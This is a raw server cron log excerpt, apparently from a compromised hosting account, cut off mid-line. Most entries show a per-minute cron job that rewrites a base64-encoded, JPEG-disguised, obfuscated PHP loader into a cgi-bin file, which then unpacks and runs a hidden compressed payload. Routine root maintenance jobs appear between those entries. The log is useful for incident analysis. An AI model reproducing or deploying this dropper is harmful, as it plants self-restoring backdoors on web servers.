"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:23:01 server CROND[32641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:24:01 server CROND[32692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:25:01 server CROND[32743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:25:01 server CROND[32744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:25:01 server CROND[32745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:26:01 server CROND[408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:27:01 server CROND[465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:27:01 server CROND[466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 01:28:01 server CROND[513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:29:01 server CROND[568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:30:01 server CROND[725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:30:01 server CROND[724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:30:01 server CROND[726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:30:01 server CROND[727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:31:01 server CROND[828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:32:01 server CROND[870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:33:01 server CROND[918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:34:01 server CROND[984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:35:01 server CROND[1140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:35:01 server CROND[1141]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 01:35:01 server CROND[1139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:35:01 server CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 01:35:01 server CROND[1142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouL